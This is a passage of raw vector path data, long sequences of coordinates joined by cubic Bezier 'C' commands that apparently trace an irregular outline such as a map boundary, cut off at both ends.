176958.00 78089.33 176958.00 78100.00C176947.33 78110.66 176936.67 78121.34 176926.00 78132.00C176926.00 78142.67 176926.00 78153.33 176926.00 78164.00C176936.67 78164.00 176947.33 78164.00 176958.00 78164.00C176926.00 78174.67 176894.00 78185.33 176862.00 78196.00C176872.67 78217.66 176883.33 78239.34 176894.00 78261.00C176883.33 78271.66 176872.67 78282.34 176862.00 78293.00C176915.67 78389.33 176969.33 78485.67 177023.00 78582.00C177033.67 78614.33 177044.33 78646.67 177055.00 78679.00C177055.00 78700.33 177055.00 78721.67 177055.00 78743.00C177044.33 78764.33 177033.67 78785.67 177023.00 78807.00C177023.00 78828.33 177023.00 78849.67 177023.00 78871.00C177023.00 78860.33 177023.00 78849.67 177023.00 78839.00C177012.33 78849.66 177001.67 78860.34 176991.00 78871.00C176991.00 78882.00 176991.00 78893.00 176991.00 78904.00C176969.33 78904.00 176947.67 78904.00 176926.00 78904.00C176926.00 78914.67 176926.00 78925.33 176926.00 78936.00C176936.67 78946.66 176947.33 78957.34 176958.00 78968.00C176958.00 78978.67 176958.00 78989.33 176958.00 79000.00C176969.00 79010.67 176980.00 79021.33 176991.00 79032.00C176991.15 79048.42 176990.19 79064.92 176993.01 79081.20C177013.68 79257.80 177034.34 79434.40 177055.00 79611.00C176855.55 79688.63 176655.93 79765.84 176456.58 79843.73C176408.79 79862.82 176360.84 79881.53 176313.18 79900.92C176271.12 79922.28 176229.06 79943.64 176187.00 79965.00C176144.00 79965.00 176101.00 79965.00 176058.00 79965.00C176058.00 79911.33 176058.00 79857.67 176058.00 79804.00C176036.67 79782.66 176015.33 79761.34 175994.00 79740.00C175983.33 79740.00 175972.67 79740.00 175962.00 79740.00C175951.00 79718.33 175940.00 79696.67 175929.00 79675.00C175918.19 79675.10 175907.37 79674.80 175896.56 79675.15C175864.71 79685.76 175832.85 79696.38 175801.00 79707.00C175779.67 79685.66 175758.33 79664.34 175737.00 79643.00C175715.33 79664.33 175693.67 79685.67 175672.00 79707.00C175650.67 79696.33 175629.33 79685.67 175608.00 79675.00C175597.33 79696.66 175586.67 79718.34 175576.00 79740.00C175554.33 79740.00 175532.67 79740.00 175511.00 79740.00C175489.67 79729.00 175468.33 79718.00 175447.00 79707.00C175415.00 79707.00 175383.00 79707.00 175351.00 79707.00C175340.33 79685.67 175329.67 79664.33 175319.00 79643.00C175286.67 79653.67 175254.33 79664.33 175222.00 79675.00C175211.33 79675.00 175200.67 79675.00 175190.00 79675.00C175179.33 79696.66 175168.67 79718.34 175158.00 79740.00C175158.00 79804.33 175158.00 79868.67 175158.00 79933.00C175147.02 79965.44 175136.64 79998.12 175125.28 80030.40C175114.51 80051.27 175103.76 80072.13 175093.00 80093.00C175082.33 80093.00 175071.67 80093.00 175061.00 80093.00C175050.33 80104.00 175039.67 80115.00 175029.00 80126.00C175039.67 80147.33 175050.33 80168.67 175061.00 80190.00C175050.33 80211.33 175039.67 80232.67 175029.00 80254.00C175039.67 80254.00 175050.33 80254.00 175061.00 80254.00C175071.67 80286.33 175082.33 80318.67 175093.00 80351.00C175082.22 80362.23 175070.43 80372.67 175060.29 80384.41C175049.86 80405.27 175039.43 80426.14 175029.00 80447.00C175029.00 80468.33 175029.00 80489.67 175029.00 80511.00C175050.33 80543.34 175071.67 80575.66 175093.00 80608.00C175093.00 80640.00 175093.00 80672.00 175093.00 80704.00C175114.67 80714.67 175136.33 80725.33 175158.00 80736.00C175158.00 80747.00 175158.00 80758.00 175158.00 80769.00C175168.67 80758.00 175179.33 80747.00 175190.00 80736.00C175200.67 80736.00 175211.33 80736.00 175222.00 80736.00C175222.00 80757.67 175222.00 80779.33 175222.00 80801.00C175254.33 80811.67 175286.67 80822.33 175319.00 80833.00C175319.00 80843.67 175319.00 80854.33 175319.00 80865.00C175308.00 80886.33 175297.00 80907.67 175286.00 80929.00C175297.11 80940.56 175309.24 80951.33 175319.71 80963.41C175330.14 80984.27 175340.57 81005.14 175351.00 81026.00C175393.67 81047.33 175436.33 81068.67 175479.00 81090.00C175489.67 81111.33 175500.33 81132.67 175511.00 81154.00C175522.00 81165.00 175533.00 81176.00 175544.00 81187.00C175554.67 81187.00 175565.33 81187.00 175576.00 81187.00C175576.00 81165.33 175576.00 81143.67 175576.00 81122.00C175597.33 81132.67 175618.67 81143.33 175640.00 81154.00C175650.67 81165.00 175661.33 81176.00 175672.00 81187.00C175672.00 81197.67 175672.00 81208.33 175672.00 81219.00C175682.67 81240.33 175693.33 81261.67 175704.00 81283.00C175693.33 81283.00 175682.67 81283.00 175672.00 81283.00C175672.00 81293.67 175672.00 81304.33 175672.00 81315.00C175682.67 81325.66 175693.33 81336.34 175704.00 81347.00C175715.00 81347.00 175726.00 81347.00 175737.00 81347.00C175737.00 81357.67 175737.00 81368.33 175737.00 81379.00C175747.67 81379.00 175758.33 81379.00 175769.00 81379.00C175769.00 81390.00 175769.00 81401.00 175769.00 81412.00C175779.67 81412.00 175790.33 81412.00 175801.00 81412.00C175800.90 81433.48 175801.20 81454.96 175800.85 81476.44C175790.25 81508.30 175779.62 81540.15 175769.00 81572.00C175758.33 81572.00 175747.67 81572.00 175737.00 81572.00C175737.00 81583.00 175737.00 81594.00 175737.00 81605.00C175747.67 81626.33 175758.33 81647.67 175769.00 81669.00C175790.33 81679.67 175811.67 81690.33 175833.00 81701.00C175843.67 81701.00 175854.33 81701.00 175865.00 81701.00C175865.00 81711.67 175865.00 81722.33 175865.00 81733.00C175854.33 81754.66 175843.67 81776.34 175833.00 81798.00C175843.67 81808.66 175854.33 81819.34 175865.00 81830.00C175854.33 81840.66 175843.67 81851.34 175833.00 81862.00C175854.33 81872.67 175875.67 81883.33 175897.00 81894.00C175918.67 81915.33 175940.33 81936.67 175962.00 81958.00C175983.33 81968.67 176004.67 81979.33 176026.00 81990.00C176036.67 81979.34 176047.33 81968.66 176058.00 81958.00C176090.33 81990.34 176122.67 82022.66 176155.00 82055.00C176165.67 82044.34 176176.33 82033.66 176187.00 82023.00C176208.33 82033.67 176229.67 82044.33 176251.00 82055.00C176272.33 82055.00 176293.67 82055.00 176315.00 82055.00C176304.33 82065.66 176293.67 82076.34 176283.00 82087.00C176283.00 82119.00 176283.00 82151.00 176283.00 82183.00C176272.33 82193.66 176261.67 82204.34 176251.00 82215.00C176240.33 82215.00 176229.67 82215.00 176219.00 82215.00C176229.67 82236.66 176240.33 82258.34 176251.00 82280.00C176240.33 82280.00 176229.67 82280.00 176219.00 82280.00C176219.00 82290.67 176219.00 82301.33 176219.00 82312.00C176229.67 82312.00 176240.33 82312.00 176251.00 82312.00C176251.00 82322.67 176251.00 82333.33 176251.00 82344.00C176240.33 82354.66 176229.67 82365.34 176219.00 82376.00C176229.67 82386.66 176240.33 82397.34 176251.00 82408.00C176240.33 82419.00 176229.67 82430.00 176219.00 82441.00C176219.00 82451.67 176219.00 82462.33 176219.00 82473.00C176197.67 82483.67 176176.33 82494.33 176155.00 82505.00C176155.00 82526.33 176155.00 82547.67 176155.00 82569.00C176176.33 82601.34 176197.67 82633.66 176219.00 82666.00C176208.33 82666.00 176197.67 82666.00 176187.00 82666.00C176187.00 82676.67 176187.00 82687.33 176187.00 82698.00C176208.33 82708.67 176229.67 82719.33 176251.00 82730.00C176229.67 82730.00 176208.33 82730.00 176187.00 82730.00C176187.00 82740.67 176187.00 82751.33 176187.00 82762.00C176197.67 82772.66 176208.33 82783.34 176219.00 82794.00C176229.67 82783.34 176240.33 82772.66 176251.00 82762.00C176251.10 82772.81 176250.80 82783.63 176251.15 82794.44C176261.75 82826.63 176272.38 82858.81 176283.00 82891.00C176293.67 82901.66 176304.33 82912.34 176315.00 82923.00C176315.00 82933.67 176315.00 82944.33 176315.00 82955.00C176304.33 82965.66 176293.67 82976.34 176283.00 82987.00C176283.00 82997.67 176283.00 83008.33 176283.00 83019.00C176304.33 83019.00 176325.67 83019.00 176347.00 83019.00C176347.00 83040.67 176347.00 83062.33 176347.00 83084.00C176358.00 83073.00 176369.00 83062.00 176380.00 83051.00C176390.67 83051.00 176401.33 83051.00 176412.00 83051.00C176412.00 83062.00 176412.00 83073.00 176412.00 83084.00C176401.33 83084.00 176390.67 83084.00 176380.00 83084.00C176401.33 83105.34 176422.67 83126.66 176444.00 83148.00C176444.00 83158.67 176444.00 83169.33 176444.00 83180.00C176454.67 83180.00 176465.33 83180.00 176476.00 83180.00C176476.00 83158.67 176476.00 83137.33 176476.00 83116.00C176486.67 83116.00 176497.33 83116.00 176508.00 83116.00C176508.00 83105.33 176508.00 83094.67 176508.00 83084.00C176529.67 83084.00 176551.33 83084.00 176573.00 83084.00C176583.67 83094.66 176594.33 83105.34 176605.00 83116.00C176615.67 83116.00 176626.33 83116.00 176637.00 83116.00C176637.00 83148.00 176637.00 83180.00 176637.00 83212.00C176647.67 83222.66 176658.33 83233.34 176669.00 83244.00C176679.67 83233.34 176690.33 83222.66 176701.00 83212.00C176701.00 83222.67 176701.00 83233.33 176701.00 83244.00C176711.67 83222.67 176722.33 83201.33 176733.00 83180.00C176743.67 83180.00 176754.33 83180.00 176765.00 83180.00C176786.67 83190.67 176808.33 83201.33 176830.00 83212.00C176797.67 83212.00 176765.33 83212.00 176733.00 83212.00C176754.67 83222.67 176776.33 83233.33 176798.00 83244.00C176798.00 83255.00 176798.00 83266.00 176798.00 83277.00C176830.00 83266.00 176862.00 83255.00 176894.00 83244.00C176894.00 83265.67 176894.00 83287.33 176894.00 83309.00C176872.67 83309.00 176851.33 83309.00 176830.00 83309.00C176830.00 83330.33 176830.00 83351.67 176830.00 83373.00C176840.67 83383.66 176851.33 83394.34 176862.00 83405.00C176872.67 83405.00 176883.33 83405.00 176894.00 83405.00C176904.67 83426.33 176915.33 83447.67 176926.00 83469.00C176936.67 83469.00 176947.33 83469.00 176958.00 83469.00C176979.67 83480.00 177001.33 83491.00 177023.00 83502.00C177033.67 83502.00 177044.33 83502.00 177055.00 83502.00C177065.67 83512.66 177076.33 83523.34 177087.00 83534.00C177076.33 83544.66 177065.67 83555.34 177055.00 83566.00C177055.00 83587.33 177055.00 83608.67 177055.00 83630.00C177076.33 83640.67 177097.67 83651.33 177119.00 83662.00C177129.67 83651.34 177140.33 83640.66 177151.00 83630.00C177161.67 83640.66 177172.33 83651.34 177183.00 83662.00C177204.67 83662.00 177226.33 83662.00 177248.00 83662.00C177258.67 83673.00 177269.33 83684.00 177280.00 83695.00C177290.67 83684.00 177301.33 83673.00 177312.00 83662.00C177333.33 83683.67 177354.67 83705.33 177376.00 83727.00C177408.33 83727.00 177440.67 83727.00 177473.00 83727.00C177473.00 83748.33 177473.00 83769.67 177473.00 83791.00C177494.33 83791.00 177515.67 83791.00 177537.00 83791.00C177558.33 83780.33 177579.67 83769.67 177601.00 83759.00C177612.00 83759.00 177623.00 83759.00 177634.00 83759.00C177623.00 83791.00 177612.00 83823.00 177601.00 83855.00C177622.67 83855.00 177644.33 83855.00 177666.00 83855.00C177687.33 83865.67 177708.67 83876.33 177730.00 83887.00C177730.00 83865.67 177730.00 83844.33 177730.00 83823.00C177751.33 83801.66 177772.67 83780.34 177794.00 83759.00C177783.33 83737.67 177772.67 83716.33 177762.00 83695.00C177783.33 83695.00 177804.67 83695.00 177826.00 83695.00C177826.00 83673.33 177826.00 83651.67 177826.00 83630.00C177837.00 83640.67 177848.00 83651.33 177859.00 83662.00C177869.67 83651.34 177880.33 83640.66 177891.00 83630.00C177901.67 83630.00 177912.33 83630.00 177923.00 83630.00C177933.67 83651.66 177944.33 83673.34 177955.00 83695.00C177965.67 83705.66 177976.33 83716.34 177987.00 83727.00C178008.67 83727.00 178030.33 83727.00 178052.00 83727.00C178073.33 83716.33 178094.67 83705.67 178116.00 83695.00C178137.33 83695.00 178158.67 83695.00 178180.00 83695.00C178169.33 83716.33 178158.67 83737.67 178148.00 83759.00C178158.67 83769.66 178169.33 83780.34 178180.00 83791.00C178190.67 83791.00 178201.33 83791.00 178212.00 83791.00C178201.33 83780.34 178190.67 83769.66 178180.00 83759.00C178201.33 83759.00 178222.67 83759.00 178244.00 83759.00C178255.00 83769.67 178266.00 83780.33 178277.00 83791.00C178341.33 83791.00 178405.67 83791.00 178470.00 83791.00C178470.00 83769.67 178470.00 83748.33 178470.00 83727.00C178491.33 83705.33 178512.67 83683.67 178534.00 83662.00C178609.00 83662.00 178684.00 83662.00 178759.00 83662.00C178780.74 83650.91 178802.89 83640.50 178824.38 83628.97C178867.01 83597.18 178909.76 83565.55 178952.33 83533.67C179005.30 83480.11 179058.17 83426.45 179111.96 83373.71C179122.97 83362.80 179133.99 83351.90 179145.00 83341.00C179155.67 83341.00 179166.33 83341.00 179177.00 83341.00C179187.67 83319.67 179198.33 83298.33 179209.00 83277.00C179241.33 83277.00 179273.67 83277.00 179306.00 83277.00C179295.00 83277.00 179284.00 83277.00 179273.00 83277.00C179284.00 83287.67 179295.00 83298.33 179306.00 83309.00C179294.85 83330.42 179284.03 83352.02 179272.67 83373.33C179208.45 83437.55 179144.22 83501.77 179080.00 83566.00C179037.29 83630.49 178994.43 83694.87 178951.80 83759.42C178833.59 84006.02 178715.63 84252.76 178597.27 84499.28C178554.81 84574.01 178512.21 84648.66 178469.82 84723.43C178394.04 84906.59 178318.63 85089.91 178242.61 85272.97C178157.40 85454.32 178072.21 85635.66 177987.00 85817.00C177976.33 85870.33 177965.67 85923.67 177955.00 85977.00C177911.32 86042.61 177867.15 86107.90 177823.78 86173.71C177791.46 86227.61 177759.68 86281.84 177727.01 86335.53C177706.67 86366.35 177686.34 86397.18 177666.00 86428.00C177655.01 86460.45 177644.64 86493.14 177633.26 86525.44C177617.85 86554.60 177603.96 86584.63 177586.30 86612.55C177494.77 86765.49 177403.33 86918.48 177311.72 87071.37C177264.01 87135.16 177215.74 87198.55 177169.21 87263.22C177098.06 87360.96 177026.63 87458.49 176955.73 87556.41C176892.15 87651.60 176828.58 87746.80 176765.00 87842.00C176754.33 87852.66 176743.67 87863.34 176733.00 87874.00C176733.00 87885.00 176733.00 87896.00 176733.00 87907.00C176722.33 87928.33 176711.67 87949.67 176701.00 87971.00C176690.33 87971.00 176679.67 87971.00 176669.00 87971.00C176636.89 88024.78 176604.92 88078.64 176572.71 88132.36C176529.74 88185.71 176486.66 88238.99 176443.74 88292.39C176422.26 88325.23 176400.25 88357.75 176379.09 88390.80C176336.22 88475.56 176293.78 88560.56 176251.16 88645.45C176224.17 88691.34 176196.68 88736.94 176169.48 88782.71C176164.66 88790.81 176159.83 88798.90 176155.00 88807.00C176133.33 88817.67 176111.67 88828.33 176090.00 88839.00C176047.08 88881.75 176004.39 88924.73 175962.00 88968.00C175962.00 89010.67 175962.00 89053.33 175962.00 89096.00C175940.33 89096.00 175918.67 89096.00 175897.00 89096.00C175886.33 89117.66 175875.67 89139.34 175865.00 89161.00C175843.67 89171.67 175822.33 89182.33 175801.00 89193.00C175779.53 89225.09 175758.27 89257.32 175736.67 89289.33C175683.04 89343.03 175629.27 89396.59 175575.73 89450.38C175500.82 89557.25 175425.91 89664.13 175351.00 89771.00C175318.67 89792.67 175286.33 89814.33 175254.00 89836.00C175221.58 89878.98 175189.61 89922.33 175156.91 89965.09C175124.88 89997.21 175092.67 90029.16 175060.74 90061.39C175017.94 90125.44 174975.33 90189.63 174933.00 90254.00C174911.33 90254.00 174889.67 90254.00 174868.00 90254.00C174836.00 90286.00 174804.00 90318.00 174772.00 90350.00C174740.00 90403.67 174708.00 90457.33 174676.00 90511.00C174633.00 90554.00 174590.00 90597.00 174547.00 90640.00C174493.33 90640.00 174439.67 90640.00 174386.00 90640.00C174362.94 90651.82 174339.38 90662.70 174316.67 90675.18C174264.78 90706.12 174212.89 90737.06 174161.00 90768.00C174118.00 90811.00 174075.00 90854.00 174032.00 90897.00C174000.00 90907.67 173968.00 90918.33 173936.00 90929.00C173914.67 90929.00 173893.33 90929.00 173872.00 90929.00C173850.33 90918.33 173828.67 90907.67 173807.00 90897.00C173807.00 90907.67 173807.00 90918.33 173807.00 90929.00C173752.61 90918.24 173698.31 90907.02 173643.87 90896.56C173569.58 90886.04 173495.29 90875.52 173421.00 90865.00C173453.37 90789.85 173485.84 90714.74 173518.15 90639.56C173528.75 90607.37 173539.38 90575.19 173550.00 90543.00C173539.33 90521.67 173528.67 90500.33 173518.00 90479.00C173432.33 90500.33 173346.67 90521.67 173261.00 90543.00C173282.33 90586.00 173303.67 90629.00 173325.00 90672.00C173303.67 90704.00 173282.33 90736.00 173261.00 90768.00C173261.00 90778.67 173261.00 90789.33 173261.00 90800.00C173250.33 90800.00 173239.67 90800.00 173229.00 90800.00C173207.20 90832.43 173185.60 90864.99 173163.67 90897.33C173152.72 90908.73 173140.78 90919.28 173130.49 90931.26C173109.53 90962.61 173088.75 90994.07 173067.68 91025.33C173057.11 91036.22 173046.56 91047.11 173036.00 91058.00C173025.33 91058.00 173014.67 91058.00 173004.00 91058.00C172961.00 91090.00 172918.00 91122.00 172875.00 91154.00C172853.67 91154.00 172832.33 91154.00 172811.00 91154.00C172789.33 91175.33 172767.67 91196.67 172746.00 91218.00C172735.33 91239.66 172724.67 91261.34 172714.00 91283.00C172703.33 91293.66 172692.67 91304.34 172682.00 91315.00C172671.33 91315.00 172660.67 91315.00 172650.00 91315.00C172638.93 91326.51 172626.90 91337.19 172616.47 91349.26C172595.32 91380.50 172574.16 91411.75 172553.00 91443.00C172553.00 91454.00 172553.00 91465.00 172553.00 91476.00C172520.56 91486.97 172487.90 91497.39 172455.60 91508.70C172434.73 91519.14 172413.87 91529.57 172393.00 91540.00C172403.67 91540.00 172414.33 91540.00 172425.00 91540.00C172340.42 91581.19 172256.66 91624.02 172172.74 91666.54C172149.60 91678.23 172126.26 91689.53 172103.00 91701.00C172092.33 91722.33 172081.67 91743.67 172071.00 91765.00C172039.00 91775.67 172007.00 91786.33 171975.00 91797.00C171942.67 91818.34 171910.33 91839.66 171878.00 91861.00C171878.00 91872.00 171878.00 91883.00 171878.00 91894.00C171856.67 91894.00 171835.33 91894.00 171814.00 91894.00C171792.33 91904.67 171770.67 91915.33 171749.00 91926.00C171727.67 91958.00 171706.33 91990.00 171685.00 92022.00C171663.67 92097.00 171642.33 92172.00 171621.00 92247.00C171620.86 92262.97 171621.82 92279.03 171619.03 92294.85C171609.03 92375.57 171599.01 92456.28 171589.00 92537.00C171599.67 92579.67 171610.33 92622.33 171621.00 92665.00C171642.47 92697.42 171663.73 92729.99 171685.33 92762.33C171695.89 92772.88 171706.44 92783.44 171717.00 92794.00C171760.00 92761.67 171803.00 92729.33 171846.00 92697.00C171856.79 92708.56 171868.54 92719.37 171878.71 92731.41C171889.14 92752.27 171899.57 92773.14 171910.00 92794.00C171899.33 92804.66 171888.67 92815.34 171878.00 92826.00C171888.67 92826.00 171899.33 92826.00 171910.00 92826.00C171910.00 92869.00 171910.00 92912.00 171910.00 92955.00C171920.79 92966.23 171932.56 92976.68 171942.72 92988.40C171953.49 93009.27 171964.24 93030.13 171975.00 93051.00C171964.00 93061.67 171953.00 93072.33 171942.00 93083.00C171953.00 93093.67 171964.00 93104.33 171975.00 93115.00C171953.33 93147.33 171931.67 93179.67 171910.00 93212.00C171888.67 93201.33 171867.33 93190.67 171846.00 93180.00C171846.00 93201.33 171846.00 93222.67 171846.00 93244.00C171867.33 93244.00 171888.67 93244.00 171910.00 93244.00C171899.33 93254.66 171888.67 93265.34 171878.00 93276.00C171878.00 93286.67 171878.00 93297.33 171878.00 93308.00C171846.00 93329.67 171814.00 93351.33 171782.00 93373.00C171781.94 93394.49 171782.12 93415.97 171781.91 93437.45C171770.97 93491.13 171759.78 93544.76 171749.00 93598.46C171749.00 93619.64 171749.00 93640.82 171749.00 93662.00C171760.00 93672.67 171771.00 93683.33 171782.00 93694.00C171803.33 93694.00 171824.67 93694.00 171846.00 93694.00C171846.00 93715.33 171846.00 93736.67 171846.00 93758.00C171867.33 93769.00 171888.67 93780.00 171910.00 93791.00C171899.33 93801.66 171888.67 93812.34 171878.00 93823.00C171878.00 93855.00 171878.00 93887.00 171878.00 93919.00C171899.33 93919.00 171920.67 93919.00 171942.00 93919.00C171953.00 93908.33 171964.00 93897.67 171975.00 93887.00C171975.00 93930.00 171975.00 93973.00 171975.00 94016.00C171963.85 94037.42 171953.03 94059.02 171941.67 94080.33C171909.78 94112.55 171877.89 94144.78 171846.00 94177.00C171846.00 94166.00 171846.00 94155.00 171846.00 94144.00C171835.33 94122.67 171824.67 94101.33 171814.00 94080.00C171792.33 94080.00 171770.67 94080.00 171749.00 94080.00C171727.67 94101.34 171706.33 94122.66 171685.00 94144.00C171653.00 94144.00 171621.00 94144.00 171589.00 94144.00C171599.67 94155.00 171610.33 94166.00 171621.00 94177.00C171621.00 94198.33 171621.00 94219.67 171621.00 94241.00C171578.24 94283.91 171535.01 94326.34 171492.00 94369.00C171481.33 94412.00 171470.67 94455.00 171460.00 94498.00C171460.00 94562.33 171460.00 94626.67 171460.00 94691.00C171481.33 94755.33 171502.67 94819.67 171524.00 94884.00C171546.64 94917.83 171570.03 94951.18 171592.18 94985.33C171623.11 95037.22 171654.06 95089.11 171685.00 95141.00C171685.00 95151.67 171685.00 95162.33 171685.00 95173.00C171706.33 95183.67 171727.67 95194.33 171749.00 95205.00C171760.00 95237.33 171771.00 95269.67 171782.00 95302.00C171782.00 95355.67 171782.00 95409.33 171782.00 95463.00C171760.33 95559.33 171738.67 95655.67 171717.00 95752.00C171716.78 95773.90 171717.44 95795.86 171716.66 95817.71C171706.05 95870.95 171695.57 95924.22 171684.85 95977.44C171674.25 96009.63 171663.62 96041.81 171653.00 96074.00C171652.90 96095.48 171653.20 96116.96 171652.85 96138.44C171620.90 96234.79 171588.78 96331.08 171556.91 96427.45C171545.87 96481.11 171534.98 96534.80 171523.85 96588.44C171513.25 96620.30 171502.62 96652.15 171492.00 96684.00C171491.95 96727.15 171492.10 96770.30 171491.92 96813.46C171481.28 96877.64 171470.64 96941.82 171460.00 97006.00C171470.67 97038.00 171481.33 97070.00 171492.00 97102.00C171492.00 97091.33 171492.00 97080.67 171492.00 97070.00C171502.67 97080.66 171513.33 97091.34 171524.00 97102.00C171524.00 97145.00 171524.00 97188.00 171524.00 97231.00C171513.33 97241.66 171502.67 97252.34 171492.00 97263.00C171492.00 97273.67 171492.00 97284.33 171492.00 97295.00C171470.67 97338.00 171449.33 97381.00 171428.00 97424.00C171428.00 97467.00 171428.00 97510.00 171428.00 97553.00C171406.67 97638.83 171385.19 97724.62 171363.94 97810.46C171353.30 97895.97 171342.65 97981.49 171332.00 98067.00C171310.33 98110.00 171288.67 98153.00 171267.00 98196.00C171267.00 98249.33 171267.00 98302.67 171267.00 98356.00C171256.23 98399.13 171245.73 98442.33 171234.79 98485.41C171224.19 98506.78 171213.31 98528.00 171202.91 98549.46C171181.61 98656.64 171160.30 98763.82 171139.00 98871.00C171139.00 99053.33 171139.00 99235.67 171139.00 99418.00C171160.33 99460.67 171181.67 99503.33 171203.00 99546.00C171224.33 99556.67 171245.67 99567.33 171267.00 99578.00C171277.67 99578.00 171288.33 99578.00 171299.00 99578.00C171310.00 99556.67 171321.00 99535.33 171332.00 99514.00C171332.00 99535.33 171332.00 99556.67 171332.00 99578.00C171321.00 99578.00 171310.00 99578.00 171299.00 99578.00C171299.00 99610.33 171299.00 99642.67 171299.00 99675.00C171288.33 99685.66 171277.67 99696.34 171267.00 99707.00C171277.67 99707.00 171288.33 99707.00 171299.00 99707.00C171299.00 99696.33 171299.00 99685.67 171299.00 99675.00C171310.00 99675.00 171321.00 99675.00 171332.00 99675.00C171332.00 99803.67 171332.00 99932.33 171332.00 100061.00C171342.74 100125.14 171353.29 100189.32 171364.15 100253.44C171374.75 100285.63 171385.38 100317.81 171396.00 100350.00C171396.10 100371.48 171395.80 100392.96 171396.15 100414.44C171417.42 100478.63 171438.72 100542.81 171460.00 100607.00C171460.00 101025.00 171460.00 101443.00 171460.00 101861.00C171470.67 101925.33 171481.33 101989.67 171492.00 102054.00C171481.33 102064.67 171470.67 102075.33 171460.00 102086.00C171470.67 102096.67 171481.33 102107.33 171492.00 102118.00C171513.72 102257.48 171535.31 102396.98 171557.12 102536.45C171589.08 102654.30 171621.04 102772.15 171653.00 102890.00C171653.00 102900.67 171653.00 102911.33 171653.00 102922.00C171663.67 102932.67 171674.33 102943.33 171685.00 102954.00C171695.65 103040.16 171706.45 103126.29 171717.00 103212.46C171717.03 103319.46 171716.94 103426.46 171717.05 103533.46C171727.70 103640.64 171738.35 103747.82 171749.00 103855.00C171770.67 103940.67 171792.33 104026.33 171814.00 104112.00C171824.67 104112.00 171835.33 104112.00 171846.00 104112.00C171867.33 104187.00 171888.67 104262.00 171910.00 104337.00C171910.00 104347.67 171910.00 104358.33 171910.00 104369.00C171920.79 104380.23 171932.58 104390.67 171942.71 104402.41C171985.48 104487.61 172028.24 104572.80 172071.00 104658.00C172081.67 104669.00 172092.33 104680.00 172103.00 104691.00C172103.00 104701.67 172103.00 104712.33 172103.00 104723.00C172092.33 104733.67 172081.67 104744.33 172071.00 104755.00C172071.00 104765.67 172071.00 104776.33 172071.00 104787.00C172092.33 104797.67 172113.67 104808.33 172135.00 104819.00C172135.00 104829.67 172135.00 104840.33 172135.00 104851.00C172124.21 104862.57 172112.44 104873.37 172102.28 104885.43C172090.45 104908.43 172079.72 104932.01 172067.08 104954.57C172036.39 105006.05 172005.69 105057.52 171975.00 105109.00C171932.00 105259.00 171889.00 105409.00 171846.00 105559.00C171813.63 105634.15 171781.16 105709.26 171748.85 105784.44C171727.58 105848.63 171706.28 105912.81 171685.00 105977.00C171674.33 105987.67 171663.67 105998.33 171653.00 106009.00C171653.00 106073.33 171653.00 106137.67 171653.00 106202.00C171663.67 106234.00 171674.33 106266.00 171685.00 106298.00C171674.33 106308.67 171663.67 106319.33 171653.00 106330.00C171642.33 106362.33 171631.67 106394.67 171621.00 106427.00C171610.33 106437.67 171599.67 106448.33 171589.00 106459.00C171578.33 106491.00 171567.67 106523.00 171557.00 106555.00C171535.33 106566.00 171513.67 106577.00 171492.00 106588.00C171460.00 106630.67 171428.00 106673.33 171396.00 106716.00C171396.00 106726.67 171396.00 106737.33 171396.00 106748.00C171385.33 106748.00 171374.67 106748.00 171364.00 106748.00C171353.33 106791.00 171342.67 106834.00 171332.00 106877.00C171332.00 106887.67 171332.00 106898.33 171332.00 106909.00C171353.33 106877.00 171374.67 106845.00 171396.00 106813.00C171374.67 106866.67 171353.33 106920.33 171332.00 106974.00C171342.67 107016.67 171353.33 107059.33 171364.00 107102.00C171374.67 107112.67 171385.33 107123.33 171396.00 107134.00C171406.67 107134.00 171417.33 107134.00 171428.00 107134.00C171428.00 107144.67 171428.00 107155.33 171428.00 107166.00C171417.33 107187.67 171406.67 107209.33 171396.00 107231.00C171396.00 107273.67 171396.00 107316.33 171396.00 107359.00C171374.67 107369.67 171353.33 107380.33 171332.00 107391.00C171310.28 107412.82 171288.35 107434.44 171266.76 107456.40C171234.84 107509.93 171202.92 107563.47 171171.00 107617.00C171171.00 107649.00 171171.00 107681.00 171171.00 107713.00C171160.33 107723.67 171149.67 107734.33 171139.00 107745.00C171139.00 107755.67 171139.00 107766.33 171139.00 107777.00C171149.67 107766.33 171160.33 107755.67 171171.00 107745.00C171171.00 107777.33 171171.00 107809.67 171171.00 107842.00C171160.33 107852.67 171149.67 107863.33 171139.00 107874.00C171139.00 107895.33 171139.00 107916.67 171139.00 107938.00C171106.67 108002.33 171074.33 108066.67 171042.00 108131.00C171041.94 108174.15 171042.12 108217.30 171041.91 108260.45C171031.30 108313.79 171020.45 108367.09 171010.00 108420.46C171010.00 108473.97 171010.00 108527.49 171010.00 108581.00C170999.33 108613.33 170988.67 108645.67 170978.00 108678.00C170988.67 108688.67 170999.33 108699.33 171010.00 108710.00C170988.67 108731.33 170967.33 108752.67 170946.00 108774.00C170946.00 108849.00 170946.00 108924.00 170946.00 108999.00C170935.33 108999.00 170924.67 108999.00 170914.00 108999.00C170902.97 109009.84 170891.64 109020.39 170880.80 109031.42C170870.20 109052.95 170859.60 109074.47 170849.00 109096.00C170849.00 109117.33 170849.00 109138.67 170849.00 109160.00C170838.33 109170.67 170827.67 109181.33 170817.00 109192.00C170806.33 109192.00 170795.67 109192.00 170785.00 109192.00C170784.65 109207.13 170786.25 109222.45 170782.79 109237.35C170772.86 109297.23 170762.93 109357.12 170753.00 109417.00C170763.67 109524.33 170774.33 109631.67 170785.00 109739.00C170806.47 109771.09 170827.73 109803.32 170849.33 109835.33C170870.89 109856.55 170892.44 109877.78 170914.00 109899.00C170892.33 109910.00 170870.67 109921.00 170849.00 109932.00C170806.33 109996.33 170763.67 110060.67 170721.00 110125.00C170721.00 110189.00 170721.00 110253.00 170721.00 110317.00C170688.67 110370.67 170656.33 110424.33 170624.00 110478.00C170624.00 110542.33 170624.00 110606.67 170624.00 110671.00C170634.67 110681.67 170645.33 110692.33 170656.00 110703.00C170645.30 110713.84 170634.31 110724.40 170623.80 110735.42C170613.20 110756.95 170602.60 110778.47 170592.00 110800.00C170592.00 110842.67 170592.00 110885.33 170592.00 110928.00C170581.33 110949.67 170570.67 110971.33 170560.00 110993.00C170538.67 111003.67 170517.33 111014.33 170496.00 111025.00C170484.99 111046.86 170473.12 111068.37 170462.64 111090.45C170452.09 111132.97 170441.55 111175.48 170431.00 111218.00C170431.00 111357.33 170431.00 111496.67 170431.00 111636.00C170420.33 111689.67 170409.67 111743.33 170399.00 111797.00C170409.65 111882.82 170420.45 111968.63 170431.00 112054.46C170431.04 112086.46 170430.91 112118.46 170431.07 112150.46C170441.78 112225.45 170452.31 112300.47 170463.13 112375.45C170484.76 112450.30 170506.38 112525.15 170528.00 112600.00C170528.04 112707.49 170527.91 112814.97 170528.07 112922.46C170538.72 112997.31 